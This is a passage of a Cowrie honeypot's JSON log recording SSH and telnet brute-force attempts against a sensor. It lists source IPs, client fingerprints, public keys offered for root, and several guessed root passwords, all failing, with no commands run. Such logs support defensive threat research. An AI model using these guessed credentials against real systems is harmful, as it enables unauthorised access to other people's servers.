f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:58.229549Z","src_ip":"89.110.87.138","session":"a8168dae8bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qweQWE","message":"login attempt [root/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:58.347091Z","src_ip":"43.156.39.221","session":"ef1caf64682c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9876543219","message":"login attempt [root/9876543219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:58.760569Z","src_ip":"89.110.87.138","session":"a8168dae8bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40398,"dst_ip":"159.203.135.109","dst_port":22,"session":"017cc3f89625","protocol":"ssh","message":"New connection: 147.45.199.80:40398 (159.203.135.109:22) [session: 017cc3f89625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.476995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.482390Z","src_ip":"147.45.199.80","session":"017cc3f89625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.583103Z","src_ip":"147.45.199.80","session":"017cc3f89625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.590895Z","src_ip":"43.156.39.221","session":"ef1caf64682c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.886732Z","src_ip":"147.45.199.80","session":"017cc3f89625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:59.891153Z","src_ip":"89.110.87.138","session":"a8168dae8bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:21:00.989973Z","src_ip":"147.45.199.80","session":"017cc3f89625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b4a2c88c25","protocol":"telnet","message":"New connection: 192.119.13.58:43882 (10.17.0.5:23) [session: 29b4a2c88c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:21:17.377161Z"}
{"eventid":"cowrie.session.closed","duration":32.532599449157715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:21:49.909638Z","src_ip":"192.119.13.58","session":"29b4a2c88c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":56278,"dst_ip":"10.17.0.5","dst_port":22,"session":"e52610b93177","protocol":"ssh","message":"New connection: 43.156.39.221:56278 (10.17.0.5:22) [session: e52610b93177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:15.459733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:15.468652Z","src_ip":"43.156.39.221","session":"e52610b93177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:15.699897Z","src_ip":"43.156.39.221","session":"e52610b93177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21204,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9feb707d1e6","protocol":"ssh","message":"New connection: 194.59.206.2:21204 (159.203.135.109:22) [session: e9feb707d1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:15.983793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:15.988852Z","src_ip":"194.59.206.2","session":"e9feb707d1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:16.082894Z","src_ip":"194.59.206.2","session":"e9feb707d1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:16.175188Z","src_ip":"194.59.206.2","session":"e9feb707d1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv.1234","message":"login attempt [root/zxcv.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:16.653246Z","src_ip":"43.156.39.221","session":"e52610b93177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46154,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede089b108e0","protocol":"telnet","message":"New connection: 192.119.13.58:46154 (10.17.0.5:23) [session: ede089b108e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:17.817424Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:17.887517Z","src_ip":"43.156.39.221","session":"e52610b93177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":46454,"dst_ip":"10.17.0.5","dst_port":22,"session":"773703c6d99a","protocol":"ssh","message":"New connection: 102.88.137.145:46454 (10.17.0.5:22) [session: 773703c6d99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:18.383219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:18.391374Z","src_ip":"102.88.137.145","session":"773703c6d99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:18.570293Z","src_ip":"102.88.137.145","session":"773703c6d99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48572,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0055288734","protocol":"telnet","message":"New connection: 192.119.13.58:48572 (10.17.0.5:23) [session: 7b0055288734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:18.686359Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nopass","message":"login attempt [root/nopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:19.317527Z","src_ip":"102.88.137.145","session":"773703c6d99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:20.501385Z","src_ip":"102.88.137.145","session":"773703c6d99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44672,"dst_ip":"10.17.0.5","dst_port":23,"session":"747636267795","protocol":"telnet","message":"New connection: 192.119.13.58:44672 (10.17.0.5:23) [session: 747636267795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.293324Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":48028,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7eee1186171","protocol":"ssh","message":"New connection: 148.153.121.224:48028 (10.17.0.5:22) [session: e7eee1186171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.641332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.646157Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.688232Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:e4:33:48:d1:58:d6:e7:9f:30:30:73:c5:d7:b2:ac","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtkOojWi9kKBReL0lsqKFFaApk07WOAVfPhCIbjDK0y","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint aa:e4:33:48:d1:58:d6:e7:9f:30:30:73:c5:d7:b2:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.877821Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:e4:33:48:d1:58:d6:e7:9f:30:30:73:c5:d7:b2:ac","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtkOojWi9kKBReL0lsqKFFaApk07WOAVfPhCIbjDK0y","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.881435Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:29:88:b4:19:0f:54:52:d2:bc:67:0d:64:88:42:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnxcynqUSrAGbrRe4VpVhIdtXol7uoogXDXDT2dfEj9obR5ChQ5L7uEa00sgLZVnHVApgWAEtamOHhZlJ1hGQkillb+01HAiGKaQXR/dqPsEtAmo1FLiiT9QV8Op8Cfx5sn1K38Jb+llV+6TwsgHj2Igl5AjVhv7Mzby5J3HXSRZ7beKgUbqpKVGH98TEWC5pfXMLXEPJ+WrgR/uiR1oTlXxkDBPOAyKScEBETkqEipmWnV9K8idVpQKL2nIsUNxD3ss21HC2Ptf3x1oszLcFowV2j29/69u+WqvZbfsmlabRkstobHftaqiwSv2Y7OwjcriESjsH5WACDAW0MBb5D7ULPUBFH01ExFfYbUDO8Hks8cQYR+MHCe804IoNk0zUaj9OnY5AnMGYO2O2IojlPEqfCZkUIiFsv9Nr5zr1zGm4jZvOXAc9XBKB7e9EAmPNKXVx2ecuMGJp/UcH3jQqIiPeQbkJLwn4L0Bl03m8zBoi2rR0RELERpDXNVUuMn72JYT8xHrp4ip7xrxnRLzn+0YeWnTM0Glvv9Ha91VloFTk+9kblocqV7cvvPUdaPycuNQ1xOMq1PkuWTVtPW4GM1IwdnACoA/QcMDpN3bxaKwH+4bEJYD+F5tdf4THcfwQPTJqbijOr6r0NqKvuhg0XUBMiEEfmVmn9FfjH/DiU9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:29:88:b4:19:0f:54:52:d2:bc:67:0d:64:88:42:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.928302Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:29:88:b4:19:0f:54:52:d2:bc:67:0d:64:88:42:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnxcynqUSrAGbrRe4VpVhIdtXol7uoogXDXDT2dfEj9obR5ChQ5L7uEa00sgLZVnHVApgWAEtamOHhZlJ1hGQkillb+01HAiGKaQXR/dqPsEtAmo1FLiiT9QV8Op8Cfx5sn1K38Jb+llV+6TwsgHj2Igl5AjVhv7Mzby5J3HXSRZ7beKgUbqpKVGH98TEWC5pfXMLXEPJ+WrgR/uiR1oTlXxkDBPOAyKScEBETkqEipmWnV9K8idVpQKL2nIsUNxD3ss21HC2Ptf3x1oszLcFowV2j29/69u+WqvZbfsmlabRkstobHftaqiwSv2Y7OwjcriESjsH5WACDAW0MBb5D7ULPUBFH01ExFfYbUDO8Hks8cQYR+MHCe804IoNk0zUaj9OnY5AnMGYO2O2IojlPEqfCZkUIiFsv9Nr5zr1zGm4jZvOXAc9XBKB7e9EAmPNKXVx2ecuMGJp/UcH3jQqIiPeQbkJLwn4L0Bl03m8zBoi2rR0RELERpDXNVUuMn72JYT8xHrp4ip7xrxnRLzn+0YeWnTM0Glvv9Ha91VloFTk+9kblocqV7cvvPUdaPycuNQ1xOMq1PkuWTVtPW4GM1IwdnACoA/QcMDpN3bxaKwH+4bEJYD+F5tdf4THcfwQPTJqbijOr6r0NqKvuhg0XUBMiEEfmVmn9FfjH/DiU9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.932611Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:da:1c:e3:5e:55:73:95:d1:d5:2b:3e:6e:bb:e7:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcfHlqdbOxf/jSE8ExPnTgWTtnlcl7iZ1ORmpAGeyIpMDxwYohbSDyTHZmKwsnMmGTo8X+q007Ehiu9iF9NiXXAyznvJBtqGucTf2ygP1JaoYt9WOzo3NQzc7xG3q3S1hYCIBOMSkurDZwdbGGAbWpHOHc+DEaK5p0D0SceyHDb+snGewAzr9XFwI9N19Xa71tOX25hIPV+N51Ib60SB4LGZCAUWCDIO0X+TFN2wLFfKvl6JfJMT/kzgFmR6y1p44KFF6BXKZJ/QF/ZnMS97ueRiJdlIELB+YNP0Vbk+fpWn2XCxUpQSFbShiuJyiF6+3VhvMOEGaoJGP5UOQpdxZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:da:1c:e3:5e:55:73:95:d1:d5:2b:3e:6e:bb:e7:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.977363Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:da:1c:e3:5e:55:73:95:d1:d5:2b:3e:6e:bb:e7:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvcfHlqdbOxf/jSE8ExPnTgWTtnlcl7iZ1ORmpAGeyIpMDxwYohbSDyTHZmKwsnMmGTo8X+q007Ehiu9iF9NiXXAyznvJBtqGucTf2ygP1JaoYt9WOzo3NQzc7xG3q3S1hYCIBOMSkurDZwdbGGAbWpHOHc+DEaK5p0D0SceyHDb+snGewAzr9XFwI9N19Xa71tOX25hIPV+N51Ib60SB4LGZCAUWCDIO0X+TFN2wLFfKvl6JfJMT/kzgFmR6y1p44KFF6BXKZJ/QF/ZnMS97ueRiJdlIELB+YNP0Vbk+fpWn2XCxUpQSFbShiuJyiF6+3VhvMOEGaoJGP5UOQpdxZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:26.981354Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:6d:ec:6e:4b:c5:de:ce:8e:92:b9:1d:8e:42:ed:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA5CuWbBlMjzZpVX521Bx93B7I9XTUPsfdQgh160ZPOOD3sR+rDn/5e2cC+wpkgXp5/ZMHeOYrj24QOHlJqDAlAOfYtn9YzZAHNtbDSjjVscyNr9X4zTp1CK3rIUHPDNqKulsqIMqtIXpglaJv/eN+QeRm4biGKWpnthnvLDd0qnU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:6d:ec:6e:4b:c5:de:ce:8e:92:b9:1d:8e:42:ed:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:27.031651Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:6d:ec:6e:4b:c5:de:ce:8e:92:b9:1d:8e:42:ed:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA5CuWbBlMjzZpVX521Bx93B7I9XTUPsfdQgh160ZPOOD3sR+rDn/5e2cC+wpkgXp5/ZMHeOYrj24QOHlJqDAlAOfYtn9YzZAHNtbDSjjVscyNr9X4zTp1CK3rIUHPDNqKulsqIMqtIXpglaJv/eN+QeRm4biGKWpnthnvLDd0qnU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:27.035531Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
